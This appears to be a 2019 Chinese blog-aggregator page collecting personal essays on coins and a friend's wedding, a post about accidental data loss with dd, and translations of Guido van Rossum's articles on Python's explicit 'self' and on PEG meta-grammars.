人生之中的某些时候,我会拥有对异化之物的感受:理念的含义不再附着于实际之物,认为某物应该是什么功用,但是在现实生活中,它是别的功用,或者就没有用。
我不记得是何时学得一个词叫作“硬币”,但几乎肯定是在课本或者影视作品里,也就是说,不在日常生活里。
在我家乡那边,也有硬币,但是我们的方言称它为“银子”(并不是古代的银子),不叫“硬币”。
方言里也没有“纸币”或者“钞票”的叫法,而是直接把它们称为“钱”,所以在很长一段时间里,我所知道的“钱”就是那一张张的壹角、贰角、伍角或壹元之类的纸币,纸币与“钱”划上了充分的等号。
这两个名称的差异延迟了我加入一个更大的语境,后来才知道“银子”和“钱”一样都是钱。也就是说,直到获取了生活之外的知识,我才知道“银子”也属于钱,并不是只有纸“钱”才是钱。
一般而言,人们是在生活中首次接触,并理解那些理论上的名称概念,而不在书本或类似的知识库。关于“硬币”这个概念,我的情况恰好相反。它成为了一种“异化之物”。
在我家乡那边,“银子”并不在日常买卖行为中流通(至今仍如此),“店子”(即杂货铺、乡间便利店)和其它商贩不接受“银子”。所以,我小时候缺少把它认知为一种钱的环境。
为什么硬币不作为货币而流通使用?原因我不得而知,只能认为这是当地的习俗。
习俗是这样的:很多人家都收藏有一袋“银子”,不分年代,不分新旧,以壹分和壹角的居多,不用于交易,但用途却不少。
我曾在衣橱的衣服堆下面发现过它,在储物柜顶发现过它,好奇问起,答复说有所谓镇宅辟邪的用途;我也曾在新居进宅或婚礼丧事的场合见到过它;很偶然的一两次,还在新年的红包里拆出过它。
在大部分场景中,它的使用量都不大,通常会与红绳或者红纸结合出现,起到一种似乎是点缀装饰,又似乎是必不可缺的作用。
这些做法的起源难以考溯,或许上一两辈的人们从他们的先辈那里继承而来,作为日渐少见的铜钱的替代品。年少时我斥之为迷信。
我依稀记得,似乎是奶奶说过,用“银子”轻轻地刮受伤后结的痂,这样伤口会好得快。这种做法没什么坏处,轻刮血痂还可能有止痒的效果。但我还听说过,有些什么癣之类的病,需要用“银子”去刮,还有些怪病的偏方里,要用它一起熬药。
它的用途不可谓不多,脱离了经济学上经典的用途,就这么进入到了神秘学的领域。
除此之外,它还有一种更重要的用途,对童年的我和玩伴们来说,意味着很多乐趣,甚至还起到了一定的教育作用:它被遗失在荒宅破屋的角落里,被埋没在清浅小溪的泥沙中,或在稻田与菜地里扎根,或在放养山牛的野坡上流浪;当我们在拾荒或探险时意外地遇到它,便觉得自己是被眷顾的,便自信地快活起来;我们把它按印在手臂上,或者覆在教科书页下用铅笔涂描出圆圆的图纹,似乎捕捉到了什么了不得的信息,乐此不疲……
总体而言,“银子”在成为“硬币”之前,以它多变的形象在我的记忆中留下了多样的色彩,在那个物质匮乏的年代,设法在我的世界观中安插了一枚微小的种子。
等到知识概念覆盖了日常经验,“硬币”取代了“银子”,经济学打败了神秘学,那多变的身份突然就只凸显成了一个:硬币是一种钱,不是一种吉祥物。
在小乡村、城镇乃至县城里,硬币始终不作为一种交易工具,不过它作为一种财物,就此稳固地成为了我的一部分认知。
后来,我去到了大城市,先是九省通衢的武汉,再到东方水都苏州,硬币终于派上了它理所当然的用场:用它坐公交,用它在超市、商场和其它地方购物,用它“打赏”路边的艺人或者乞丐。
它的功能开始变得单一(商品经济的支付手段),使用量依然不多,但在很多时候却是随身携带的不可或缺品。由于语言习惯的变化,“银子”的叫法不再出现,连同记忆里那些故事也开始变得陌生。
它依然是短暂地出现在手里,短暂地被我们所拥有,再转移到别人的手里,但它的存在感以及可能带来的乐趣,却几乎不再有了。
最近两三年里,我突然开始变得有些怀旧,尽管我正入而立之年,在享青春。关于蝉啊、鸟啊、路啊和一些老物件的记忆,不能释怀。当然还有“银子”和硬币。
硬币已经有很长时间没有见到过了,事实上,随着在线支付手段的日渐普及,我们需要随身携带零钱的时候也日渐减少:在市内乘坐公交或地铁时,使用手机自带 NFC 的公交卡;出行到其它城市时(甚至是回家乡那个落后的小镇),则用支付宝或微信支付;其它需要使用钱的情况就更不用说了,连那些街头艺人和乞丐都打出了招牌,支持“扫码支付”。
我已经忘了有多久,不再携带硬币或纸币。它们都是物理空间中的真实物品,有形状、有重量、有味道、有温度、有作用也有麻烦。
我们处于这个充满变化的时代,正在见证这一场注定不可逆的趋势:电子钱包与在线支付成为潮流,虚拟空间中的数据正在淘汰实物,并将抹去后者所携带的种种附加物。
换句话说,今后我们的日常生活将更多的是“数据化生存”,对于“钱”来说,“身外之物”将逐渐变为“身外数据”。
最近流传着一则新闻,大众熟知的一首经典儿歌《一分钱》,与时俱进地改为了《一元钱》:我在马路边,捡到一元钱,交到警察叔叔手里……
我不记得是否曾经接触过一分钱的纸币,但是距离最后一次接触一分钱的硬币,则已经过去了将近二十年。“捡到一分钱”这样的事,早已失去了其现实意义。
也许再过五年,或者十年,“捡到一元钱”这种事,乃至于“在马路边捡到钱”,都将会成为历史。
多年以后,当我给孙辈们讲起关于钱币的故事时,他们可能会感觉到陌生。当我再用夸张的方式,讲起关于“银子”的那些记忆时,他们很可能会觉得不可思议。
不过,也许就像当初我听到祖辈讲什么粮票、油票和布票时一样,他们可能会不在意地说:那都过去了,时代总是在进步的嘛……
注:本文图片来源于网络

October 14, 2019 12:00 AM

October 11, 2019

spiritx

失误


一直以来我都觉得dd很方便,之前看到网友戏称 dd=disk destroyer 还觉得我怎么可能会出错,对之不屑一顾,没想到这次却因为我小小的输入失误损失了如此多的数据。前天下午,在烧录树莓派镜像时错把备份镜像烧进了移动硬盘,虽然我及时终止了dd操作,但还是损坏了我的分区表,在此操作前我还特意用了fdisk -l查看磁盘号,可惜输入错误。我移动硬盘只有一个大小为4TB的NTFS分区,经过两天的各种尝试(包括TestDisk和DiskGenious),没能恢复分区表。万般无奈下只能在Windows下尝试使用恢复软件进行恢复,直至目前还在扫描中......这块希捷STDR4000301移动硬盘陪伴了我几年了,里面存了不少东西,我还往里面放了一个大小为1T的VeraCrypt的虚拟磁盘文件,用于加密我的一些重要数据,没想到这次却。。
目前还不能保证能恢复多少数据,但损失是不可避免的,罢了,也算是一次教训吧,之后的dd相关操作我都将使用/dev/disk/by-id的方式,避免出错,写下这篇文章提醒我自己,也提醒我的访客们,涉及到数据的操作一定得谨慎谨慎再谨慎!!!切记!切记!特别是像dd命令这样的高风险操作!!

by Spirit at October 11, 2019 09:02 AM

pythoncat

婚礼

国庆假期里,我跟豌豆从苏州去江西丰城参加了一场婚礼。
新娘 Y 是豌豆的闺蜜、大学室友,她们自开学第一天起相识,至今已有 11 年。本科毕业后,她去了上海,而豌豆读研毕业后来了苏州,两地不远,我们常有联络。
她们共同的大学闺蜜 C 同学携了男友,也从江苏连云港前去赴约。饭桌席间,Y 同学的哥哥对 C 同学说起当年的一件往事,感慨地说,“你们毕业都已经 7 年了,7 年过得好快啊!”大家问知我们都是从江苏而来,又都语带感慨的说“江苏好远啊”。
两座城市相距有 700 多公里,向来缺乏距离感的我,对此发不起感慨,然而说到这几年的时间,像是睡了一觉醒来时朦胧而把握不住地消失了,我就自己严肃了起来。
得益于那些年的文字涂鸦,我有一笔财富可以去巡视,每次读到自己写的带有时间标记的、带有年岁模样的文字,我就又感触到时间的力量,知道记忆和文字的力量。
所以,“7 年时间过去了”这个话题(除了“毕业”之外,“7 年”还有别的含义),被我反复强化它的重要性,现在促使自己苦坐,要以这种方式把某些东西留下来。这会是写给未来的我们看的,当某一天我们需要一种支撑,需要一个慰藉,需要一份安定,需要一份快乐的时候,也许它可以释放出这些东西来。
一场完整的中国小镇婚礼或许可以找出一个比较早的起点,比如订婚、领证、计算良辰吉日、布置婚房,或者是新娘在吉日的凌晨 4 点多起床梳妆打扮。这些时间和事件是一场婚礼的序曲。
我听她们说起了“睡不着”的话题,Y 同学还说半夜有狗在楼下叫,她下楼去看。也许,一场婚礼真正的开端,应该是新人在失眠时确认“今天是我的婚礼”的时候。那个时候才是“那个时候”了。
我跟豌豆的情况比较特殊,我们在“那个时候”是睡在一起的,彼此依靠,所以睡得还算安稳。我们也起得很早,但我已忘了具体时间。
然后,他们的婚礼进入热闹的抢亲环节。新娘的房门紧锁,新郎和随行亲友被一系列的小游戏“刁难”:回答问题、给红包、做各种小游戏、说些肉麻的话。
这个环节是婚礼中的前奏,热热闹闹的,又恰到好处地把婚礼的意义包含其中:她们设置的难关稍加努力就能克服,或者花点钱就能收买考官;这是在众人注目下的一场游戏,选手和观众各自看到自己想看到的东西;一半是娱乐,一半是真情。
为什么会有“抢亲”的习俗?我不禁产生过这个疑问,但是没有继续空想着推理,我不否认它可能会带来的好处,但落到自己身上时,我跟豌豆的婚礼省掉了这个环节。现实条件也不允许,豌豆远嫁于我,那时女方出席的就两位长辈,连伴娘都只是临时找的。
我们以及这对新人的结亲过程都挺顺利,不需要用“抢”的强力来跨越阻力,而且女方在两性关系中都略占优势,事实上不需要用“抢”的仪式来凸显她们的地位。
总体而言,这个环节是有意义的,那些游戏场景很容易进入长久记忆中,也就是说,可以给这一天赋予特殊的光环。
我印象最深的是随后的婚礼仪式。
首先要说的是它的场地,那是在农村公路边的一块空地,两侧临近着将要收获的金黄色水稻;婚庆公司布置了必要的道具,两块背景板(其中一块上面写着“高三(19)班”以及这对新人的名字)、音响设备、撒满玫瑰型花瓣的简易地毯、几十张椅子、很多系在彩带上的气球、到处都是透明的水泡泡……
时日已进深秋,但那天的气温出奇的热,阳光烈烈地亮在晴空下,烘烤着熙熙攘攘的人群。人们搬来了两架大伞棚,遮蔽住现场的椅子,场上座无虚席,侧边站立的观众密密麻麻。
这块露天的开放场地吸引了极多的观众,新郎的邻居们不请自来,中老年妇女和小孩居多,在新鲜而喜庆的聚会中无所顾忌地大声谈笑、挤坐椅子、拍照和争领礼物。
所有人都被婚礼的两位主角的开场舞蹈所惊艳,是的,除了说“惊艳”我想不到别的更合适的词。一方是飘飘的红裙子和跃跃的倩影,一方是小心翼翼的脚步和关怀切切的眼神。
豌豆说她想起了《傲慢与偏见》那种英剧中的舞蹈,而我想到了一个词“翩翩起舞”,觉得它的含义在那个情景中才是最贴切的,而且也想到了一部电影《闻香识女人》——我印象最深的一场双人舞蹈。这种联想不是因为什么形式的相似,而全是因为它们的触动力量,因为那种不遮掩的美感。
不知道是不是因为相熟的关系,或者因为坐在很贴近的前排,观礼的我们很投入。我曾经在天马行空的假想里,编排与豌豆的婚礼仪式,其中就曾有过双人舞,尽管我们都不会跳。
想到它时是自然显现,牵手、搂腰、贴腮、环抱、舞动、节奏、对视,这种种要素的组合,赋予了它在潜意识中出场的合理性。
舞蹈是 Y 同学的喜好,促就了这一场创意。其它环节在婚庆主持人的安排下,多少显得有些刻意:相识过程的讲述、新人们的发言、家长的出场和致辞、亲友的祝福……
我们参加过一些婚礼,大概知道了这一套流程。可是这一次,又很不同,当 Y 同学说出她那一番话的时候,我和豌豆的眼泪就止不住了。豌豆是那种受到轻微触动就泪如泉涌的林黛玉体质,她的表现完全是在意料之中,而我本来是守持坚稳的,在那时却也完全无法自制。
我和豌豆的婚礼在各自的老家都办了,形式和流程很简单,既没有前面的抢亲环节,也没有请婚庆公司操办活动。我其实不敢想象,如果我们也策划了这些事会怎样,因为我很忐忑,羞耻于在众目睽睽之下表达爱意、宣誓、讲述自己的故事。由于内心的自卑和胆怯,我生出了一种躲避的心理,刻意对这种盛大形式背后可能富含的信息传递和情感联结视而不见。
对于两个发愿相伴一生的人来说,婚礼的一天或一段时间,所占的分量能有多少呢?我有时候甚至觉得它会是一件坏事:日常生活总是平淡时居多,总是自然演化的居多,总是相扶持而没有旁人时居多,所以这一种热闹的、编排的、被见证的日子,就显得有些违和了。
这不是一种绝对性的断言。婚礼的意义对于参与者来说是意味深长。但是须记住,它也会像任意一个普通的日子般流逝掉,婚礼办得好、办得有遗憾、或者不及办,都应该好好地经营其它的日子。
在那场仪式之后,婚礼还有一个很长的环节——筵席。一人又一人,一桌又一桌,一盘又一盘,一杯又一杯,一碗又一碗,一筷又一筷。我没注意大家吃了多久。
我们从江苏来的四人坐在楼梯口的一桌上,再加上新娘歇脚式的短暂相陪。我们讨论了某种食物的吃法,评论了某道菜的味道,说起了其它的事。在那个时候,我突然浮现了一种微弱但是奇怪的情绪:一种对“娘家人”身份的认同,以及“送亲人出嫁”的感觉。似乎是想到了千里迢迢而来,想到可能今生都不会再踏足这片陌生的土地,而催生的情绪。
其实,Y 同学是当地人,并不是“远嫁他乡”。
她和他是高中同班同学,在校时基本不曾说过话,在毕业和工作多年后,经其他同学牵线,异地恋爱,最后相携走入婚姻殿堂。这个过程很奇妙。
中学时在一起而多年后分手的情况,我见过;像他们这种相反的分合情况,我仅见此例。这就是缘分么?
什么是缘分?缘分就是令两个人产生更紧密的交集,令他们交换信物,令他们同甘共苦,令他们自我完善的一种神秘的巧合。
在此意义上,婚礼发挥出了传道的价值,告知那些愿意相信的人,有一种美好事物值得期待,有一种幸福生活值得奋斗,有一些高光时刻值得珍惜。
那天的婚礼之后,宾客散尽,桌椅清洁。我们一行六人在午后出门,穿过田间小径,走进破旧老宅,去楼上看鸽子,去园子里摘柚子,回来在天井旁,吃吃柚子,吃吃甘蔗,聊聊天,看两只狗子在一地茭白的叶子上打闹嬉戏……
秋天的夜幕来得早,光暗风起,宣示着到了启程分别的时候。
大巴开往南昌,我望着窗外绵绵不绝又一闪而过的风景,没有困意。每一帧画面都不相同,大自然与人类的居所相交错,跟南方别处的景色一样普通无奇。
不过,观察得久了,还是有几处地方吸引了我:一个池子里散养了成片的鸭子、一处圈地里养了一群羊、一片平坡上排列着太阳能电池板方阵、一条铁路在宽阔的没有防护带的地方穿过……
平凡而雷同的风景,容易忘怀,尽管那一路上它们如影随形。算不上太奇特,可是却显得突出的风景呢,则像一场婚礼像一场旅行,留下了抹不掉的痕迹。

October 11, 2019 12:00 AM

September 28, 2019

pythoncat

Python 为什么要保留显式的 self?

前两天,我偶然在一个知识星球(刘欣老师的“码农翻身”)里看到一篇主题,刘老师表示 Python 的类方法非要带个 self,而不像其它语言那样隐藏起来,这让人很不爽。我对此也有同感。在经过群聊讨论后,我获知 Guido 曾经专门撰文解释过这个问题。这篇文章并不好懂,我抽空先翻译出来了,看看能收到什么回应。如果可能的话,后续再另写文章分析。
--------------以下为译文---------------
布鲁斯·埃克尔(Bruce Eckel)发了篇博文 ,提议从类方法的形参列表中删除“self”。我将解释为什么这个提议不能通过。(译注:Bruce 是《Thinking in Java》、《Thinking in C++》等多本书籍的作者,也是个 Python 开发者。他的文章总结了当年在巴西 Pycon 上的一次讨论,主要观点是在定义类方法时,形参中的“self”是多余的,而且由它引发的报错信息具有一定的误导性。)

Bruce 的提议

Bruce 知道,我们需要一种方法来区分对实例变量的引用和对其它变量的引用,因此他建议将“self”设为关键字。
考虑一种典型的类,它有一个方法,例如:
class C:
   def meth(self, arg):
      self.val = arg
      return self.val
跟据 Bruce 的提议,这将变为:
class C:
   def meth(arg):  # Look ma, no self!
      self.val = arg
      return self.val
这样每个方法会节省 6 个字符。但我不觉得 Bruce 提出这个建议是为了减少打字。
我认为他真正关心的是程序员(可能来自其它语言)所浪费的时间,有时候似乎不需要指定“self”参数,而且他们偶尔忘记了要加(即使他们十分清楚——习惯是一种强大的力量)。确实,与忘记在实例变量或方法引用之前键入“self.”相比,从参数列表中省略“self”,往往会导致很模糊的错误消息。
也许更糟糕的是(如 Bruce 所述),当正确地声明了方法,但是在调用时的参数数量不对,这时收到的错误消息。如 Bruce 给出的以下示例:
Traceback (most recent call last):
File "classes.py", line 9, in
   obj.m2(1)
TypeError: m2() takes exactly 3 arguments (2 given)
我赞同它是令人困惑的,但是我宁愿去解决此错误消息,而不是修改语言。

为什么 Bruce 的提议不可行

首先,让我提出一些与 Bruce 的提议相反的典型论点。
这有一个很好的论据可以证明,在参数列表中使用显式的“self”,可以增强以下两种调用方法在理论上的等效性。假设“ foo”是“C”的一个实例:
foo.meth(arg) == C.meth(foo, arg)
(译注:说实话,我没有理解这个例子的意思。以下仅是个人看法。在类的内部定义方法时,可能会产生几种不同的方法:实例方法类方法静态方法 。它们的作用和行为是不同的,那么在定义和调用时怎么做区分呢?Python 约定了一种方式,即在定义时用第一个参数作区分:self 表示实例方法、cls或其它符号 表示类方法……三种方法都可以被类的实例调用,而且看起来一模一样,如上例的等号左侧那样。这时候就要靠定义时赋予的参数来区分了,像上例等号右侧,第一个参数是实例对象,表明此处是个实例方法。)
另一个论据是,在参数列表中使用显式的“self”,将一个函数插入一个类,获得动态地修改一个类的能力,创建出相应的一个类方法。
例如,我们可以创建一个与上面的“C”完全等效的类,如下所示:
# Define an empty class:
class C:
   pass

# Define a global function:
def meth(myself, arg):
   myself.val = arg
   return myself.val

# Poke the method into the class:
C.meth = meth
请注意,我将“self”参数重命名为“myself”,以强调(在语法上)我们不是在此处定义一个方法(译注:类外部的是函数 ,即 function,类内部的是方法 ,即 method)。
这样之后,C 的实例就具有了一个“meth”方法,该方法有一个参数,且功能跟之前的完全一样。对于在把方法插入类之前就创建的那些 C 的实例,它甚至也适用。
我想 Bruce 并不特别在意前述的等效性。我同意这只是理论上的重要。我能想到的唯一例外是旧式的调用超级方法的习语(idiom)。但是,这个习语很容易出错(正是由于需要显式地传递”self”的原因),这就是为什么在 Python 3000 中,我建议在所有情况下都使用”super()“的原因。
Bruce 可能会想到一种使第二个等效例子起作用的方法——在某些情况下,这种等效性真的很重要。我不知道 Bruce 花了多少时间思考如何实现他的提议,但是我想他正在考虑将一个名为“self”的额外形参自动地添加到直接地在类内部定义的所有方法的思路(我必须说是“直接地”,以便那些嵌套在方法内部的函数,能免于这种自动操作)。这样,可以使第一个等效例子保持等效。
但是,有一种情况我认为 Bruce 不能在不向编译器中添加某种 ESP 的情况下解决:装饰器。 我相信这是 Bruce 的提议的最终败笔。
当装饰一个方法时,我们不知道是否要自动地给它加一个“self”参数:装饰器可以将函数变成一个静态方法(没有“self”)或一个类方法(有一个有趣的 self,它指向一个类而不是一个实例),或者可以做一些完全不同的事情(用纯 Python 实现“ @classmethod”或“ @staticmethod”的装饰器是繁琐的)。除非知道装饰器的用途,否则没有其它办法来确定是否要赋予正在定义的方法一个隐式的“self”参数。
我拒绝诸如特殊包装的“ @classmethod”和“ @staticmethod”之类的黑科技。我也认为除了自检外,自动地确定某个方法是类方法(class method)、实例方法(instance method)还是静态方法(static method),这不是一个好主意(就像在 Bruce 的文章的评论中,有人建议的那样):这使得很难仅仅根据方法前的“def”,来决定应该怎样调用该方法。
(译注:对于一个方法,在当前的添加了相应参数的情况下,可以简单地加装饰器,区分它是哪种方法,调用时也容易区分调用;但是,如果没有加参数,即使可以用神奇的自动机制来区分出它是哪种方法,但在调用时,你不好确定该怎么调用)。
在评论中,我看到了一些非常极端的对 Bruce 的提议的附和,但通常的代价是使得规则难以遵循,或者要求对语言进行更深层的修改,这令我们极其难以接受它,特别是合入 Python 3.1。顺便说一句,对于 3.1,再次声明我们的规则,新特性只有在保持向后兼容的情况下才是可接受的。
有一个似乎可行的建议(可以使它向后兼容)是把类中的
def foo(self, arg): ...
改成这样的语法糖:
def self.foo(arg): ...
但我不认同它把“self”变为保留字(reserved word),或者要求前缀必须是“self”。如果这样做了,那对于类方法,很容易也出现这种情况:
@classmethod
def cls.foo(arg): ...
好了,相比于现状,我并没有更喜欢这个。但是相比于 Bruce 的提议或在他的博客评论区中提出的更极端的说法,我认为这个要好得多,而且它具有向后兼容的巨大优势,并且不需要很费力,就可以写成带有参考实现的 PEP。(我想 Bruce 应该会发现自己提案中的缺陷,如果他真的付出努力尝试编写可靠的 PEP 或者尝试实现它。)
我可以继续聊很多,但这是一个阳光明媚的周日早晨,而我还有其它的计划… :-)
作者:Guido van Rossum,写于:2008.10.26
作者简介: Guido van Rossum,Python 的创造者,一直是“终身仁慈独裁者”,直到 2018 年 7 月 12 日退位。目前,他是新的最高决策层的五位成员之一,依然活跃在社区中。
译者简介: 豌豆花下猫,生于广东毕业于武大,现为苏漂程序员,有一些极客思维,也有一些人文情怀,有一些温度,还有一些态度。公众号:「Python猫」(python_cat)。

September 28, 2019 12:00 AM

September 27, 2019

pythoncat

Python 之父的解析器系列之七:PEG 解析器的元语法

作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。本系列的译文已在 Github 开源,项目地址:https://github.com/chinesehuazhou/guido_blog_translation
本周我们使解析器生成器完成“自托管”(self-hosted),也就是让它自己生成解析器。
首先我们有了一个解析器生成器,其中一部分是语法解析器。我们可以称之为元解析器(meta-parser)。该元解析器与要生成的解析器类似:GrammarParser 继承自Parser ,它使用相同的 mark()/reset()/expect() 机制。然而,它是手写的。但是,只能是手写么?
在编译器设计中有一个传统,即编译器使用它要编译的语言编写。我深切地记得在我初学编程时,当时用的 Pascal 编译器是用 Pascal 本身编写的,GCC 是用 C 编写的,Rust 编译器当然是用 Rust 编写的。
这是怎么做到的呢?有一个辅助过程(bootstrap,引导程序,通常译作“自举”):对于一种语言的子集或早期版本,它的编译器是用其它的语言编写的。(我记得最初的 Pascal 编译器是用 FORTRAN 编写的!)然后用编译后的语言编写一个新的编译器,并用辅助的编译器来编译它。一旦新的编译器运行得足够好,辅助的编译器就会被废弃,并且该语言或新编译器的每个新版本,都会受到先前版本的编译器的编译能力的约束。
让我们的元解析器如法炮制。我们将为语法编写一个语法(元语法),然后我们将从中生成一个新的元解析器。幸运的是我从一开始就计划了,所以这是一个非常简单的练习。我们在上一篇文章中添加的动作是必不可少的因素,因为我们不希望被迫去更改生成器——因此我们需要能够生成一个可兼容的数据结构。
这是一个不加动作的元语法的简化版:
start: rules ENDMARKER
rules: rule rules | rule
rule: NAME ":" alts NEWLINE
alts: alt "|" alts | alt
alt: items
items: item items | item
item: NAME | STRING
我将自下而上地展示如何添加动作。参照第 3 篇,我们有了一些带 name 和 alts 属性的 Rule 对象。最初,alts 只是一个包含字符串列表的列表(外层列表代表备选项,内层列表代表备选项的条目),但为了添加动作,我更改了一些内容,备选项由具有 items 和 action 属性的 Alt 对象来表示。条目仍然由纯字符串表示。对于 item 规则,我们有:
item: NAME { name.string } | STRING { string.string }
这需要一些解释:当解析器处理一个标识符时,它返回一个 TokenInfo 对象,该对象具有 type、string 及其它属性。我们不希望生成器来处理 TokenInfo 对象,因此这里加了动作,它会从标识符中提取出字符串。请注意,对于像 NAME 这样的全大写标识符,生成的解析器会使用小写版本(此处为 name )作为变量名。
接下来是 items 规则,它必须返回一个字符串列表:
items: item items { [item] + items } | item { [item] }
我在这里使用右递归规则,所以我们不依赖于第 5 篇中添加的左递归处理。(为什么不呢?保持事情尽可能简单总是一个好主意,这个语法使用左递归的话,不是很清晰。)请注意,单个的 item 已被分层,但递归的 items 没有,因为它已经是一个列表。
alt 规则用于构建 Alt 对象:
alt: items { Alt(items) }
我就不介绍 rules 和 start 规则了,因为它们遵循相同的模式。
但是,有两个未解决的问题。首先,生成的代码如何知道去哪里找到 Rule 和 Alt 类呢?为了实现这个目的,我们需要为生成的代码添加一些 import 语句。最简单的方法是给生成器传递一个标志,该标志表示“这是元语法”,然后让生成器在生成的程序顶部引入额外的 import 语句。但是既然我们已经有了动作,许多其它解析器也会想要自定义它们的导入,所以为什么我们不试试看,能否添加一个更通用的功能呢。
有很多方法可以剥了这只猫的皮(译注:skin this cat,解决这个难题)。一个简单而通用的机制是在语法的顶部添加一部分“变量定义”,并让生成器使用这些变量,来控制生成的代码的各个方面。我选择使用 @ 字符来开始一个变量定义,在它之后是变量名(一个 NAME)和值(一个 STRING)。例如,我们可以将以下内容放在元语法的顶部:
@subheader "from grammar import Rule, Alt"
标准的导入总是会打印(例如,去导入 memoize),在那之后,解析器生成器会打印 subheader 变量的值。如果需要多个 import,可以在变量声明中使用三引号字符串,例如:
@subheader """
from token import OP
from grammar import Rule, Alt
"""
这很容易添加到元语法中,我们用这个替换 start 规则:
start: metas rules ENDMARKER | rules ENDMARKER
metas: meta metas | meta
meta: "@" NAME STRING NEWLINE
(我不记得为什么我会称它们为“metas”,但这是我在编写代码时选择的名称,我会坚持这样叫。:-)
我们还必须将它添加到辅助的元解析器中。既然语法不仅仅是一系列的规则,那么让我们添加一个 Grammar 对象,其中包含属性 metasrules。我们可以放入如下的动作:
start: metas rules ENDMARKER { Grammar(rules, metas) }
     | rules ENDMARKER { Grammar(rules, []) }
metas: meta metas { [meta] + metas }
     | meta { [meta] }
meta: "@" NAME STRING { (name.string, eval(string.string)) }
(注意 meta 返回一个元组,并注意它使用 eval() 来处理字符串引号。)
说到动作,我漏讲了 alt 规则的动作!原因是这里面有些混乱。但我不能再无视它了,上代码吧:
alt: items action { Alt(items, action) }
   | items { Alt(items, None) }
action: "{" stuffs "}" { stuffs }
stuffs: stuff stuffs { stuff + " " + stuffs }
      | stuff { stuff }
stuff: "{" stuffs "}" { "{" + stuffs + "}" }
     | NAME { name.string }
     | NUMBER { number.string }
     | STRING { string.string }
     | OP { None if op.string in ("{", "}") else op.string }
这个混乱是由于我希望在描绘动作的花括号之间允许任意 Python 代码,以及允许配对的大括号嵌套在其中。为此,我们使用了特殊标识符 OP,标记生成器用它生成可被 Python 识别的所有标点符号(返回一个类型为 OP 标识符,用于多字符运算符,如 <= 或 ** )。在 Python 表达式中可以合法地出现的唯一其它标识符是名称、数字和字符串。因此,在动作的最外侧花括号之间的“东西”似乎是一组循环的 NAME | NUMBER | STRING | OP 。
呜呼,这没用,因为 OP 也匹配花括号,但由于 PEG 解析器是贪婪的,它会吞掉结束括号,我们就永远看不到动作的结束。因此,我们要对生成的解析器添加一些调整,允许动作通过返回 None 来使备选项失效。我不知道这是否是其它 PEG 解析器的标准配置——当我考虑如何解决右括号(甚至嵌套的符号)的识别问题时,立马就想到了这个方法。它似乎运作良好,我认为这符合 PEG 解析的一般哲学。它可以被视为一种特殊形式的前瞻(我将在下面介绍)。
使用这个小调整,当出现花括号时,我们可以使 OP 上的匹配失效,它可以通过 stuff 和 action 进行匹配。
有了这些东西,元语法可以由辅助的元解析器解析,并且生成器可以将它转换为新的元解析器,由此解析自己。更重要的是,新的元解析器仍然可以解析相同的元语法。如果我们使用新的元编译器编译元语法,则输出是相同的:这证明生成的元解析器正常工作。
这是带有动作的完整元语法。只要你把解析过程串起来,它就可以解析自己:
@subheader """
from grammar import Grammar, Rule, Alt
from token import OP
"""
start: metas rules ENDMARKER { Grammar(rules, metas) }
     | rules ENDMARKER { Grammar(rules, []) }
metas: meta metas { [meta] + metas }
     | meta { [meta] }
meta: "@" NAME STRING NEWLINE { (name.string, eval(string.string)) }
rules: rule rules { [rule] + rules }
     | rule { [rule] }
rule: NAME ":" alts NEWLINE { Rule(name.string, alts) }
alts: alt "|" alts { [alt] + alts }
    | alt { [alt] }
alt: items action { Alt(items, action) }
   | items { Alt(items, None) }
items: item items { [item] + items }
     | item { [item] }
item: NAME { name.string }
    | STRING { string.string }
action: "{" stuffs "}" { stuffs }
stuffs: stuff stuffs { stuff + " " + stuffs }
      | stuff { stuff }
stuff: "{" stuffs "}" { "{" + stuffs + "}" }
     | NAME { name.string }
     | NUMBER { number.string }
     | STRING { string.string }
     | OP { None if op.string in ("{", "}") else op.string }
现在我们已经有了一个能工作的元语法,可以准备做一些改进了。
但首先,还有一个小麻烦要处理:空行!事实证明,标准库的 tokenize 会生成额外的标识符来跟踪非重要的换行符和注释。对于前者,它生成一个 NL 标识符,对于后者,则是一个 COMMENT 标识符。以其将它们吸收进语法中(我已经尝试过,但并不容易!),我们可以在 tokenizer 类中添加一段非常简单的代码,来过滤掉这些标识符。这是改进的 peek_token 方法:
def peek_token(self):
        if self.pos == len(self.tokens):
            while True:
                token = next(self.tokengen)
                if token.type in (NL, COMMENT):
                    continue
                break
            self.tokens.append(token)
            self.report()
        return self.tokens[self.pos]
这样就完全过滤掉了 NL 和 COMMENT 标识符,因此在语法中不再需要担心它们。
最后让我们对元语法进行改进!我想做的事情纯粹是美容性的:我不喜欢被迫将所有备选项放在同一行上。我上面展示的元语法实际上并没有解析自己,因为有这样的情况:
start: metas rules ENDMARKER { Grammar(rules, metas) }
     | rules ENDMARKER { Grammar(rules, []) }
这是因为标识符生成器(tokenizer)在第一行的末尾产生了一个 NEWLINE 标识符,此时元解析器会认为这是该规则的结束。此外,NEWLINE 之后会出现一个 INDENT 标识符,因为下一行是缩进的。在下一个规则开始之前,还会有一个 DEDENT 标识符。
下面是解决办法。为了理解 tokenize 模块的行为,我们可以将 tokenize 模块作为脚本运行,并为其提供一些文本,以此来查看对于缩进块,会生成什么样的标识符序列:
$ python -m tokenize
foo bar
    baz
    dah
dum
^D
我们发现它会产生以下的标识符序列(我已经简化了上面运行的输出):
NAME     'foo'
NAME     'bar'
NEWLINE
INDENT
NAME     'baz'
NEWLINE
NAME     'dah'
NEWLINE
DEDENT
NAME     'dum'
NEWLINE
这意味着一组缩进的代码行会被 INDENT 和 DEDENT 标记符所描绘。现在,我们可以重新编写元语法规则的 rule 如下:
rule: NAME ":" alts NEWLINE INDENT more_alts DEDENT {
        Rule(name.string, alts + more_alts) }
    | NAME ":" alts NEWLINE { Rule(name.string, alts) }
    | NAME ":" NEWLINE INDENT more_alts DEDENT {
        Rule(name.string, more_alts) }
more_alts: "|" alts NEWLINE more_alts { alts + more_alts }
         | "|" alts NEWLINE { alts }
(我跨行地拆分了动作,以便它们适应 Medium 网站的窄页——这是可行的,因为标识符生成器会忽略已配对的括号内的换行符。)
这样做的好处是我们甚至不需要更改生成器:这种改进的元语法生成的数据结构跟以前相同。同样注意 rule 的第三个备选项,对此让我们写:
start:
    | metas rules ENDMARKER { Grammar(rules, metas) }
    | rules ENDMARKER { Grammar(rules, []) }
有些人会觉得这比我之前展示的版本更干净。很容易允许两种形式共存,所以我们不必争论风格。
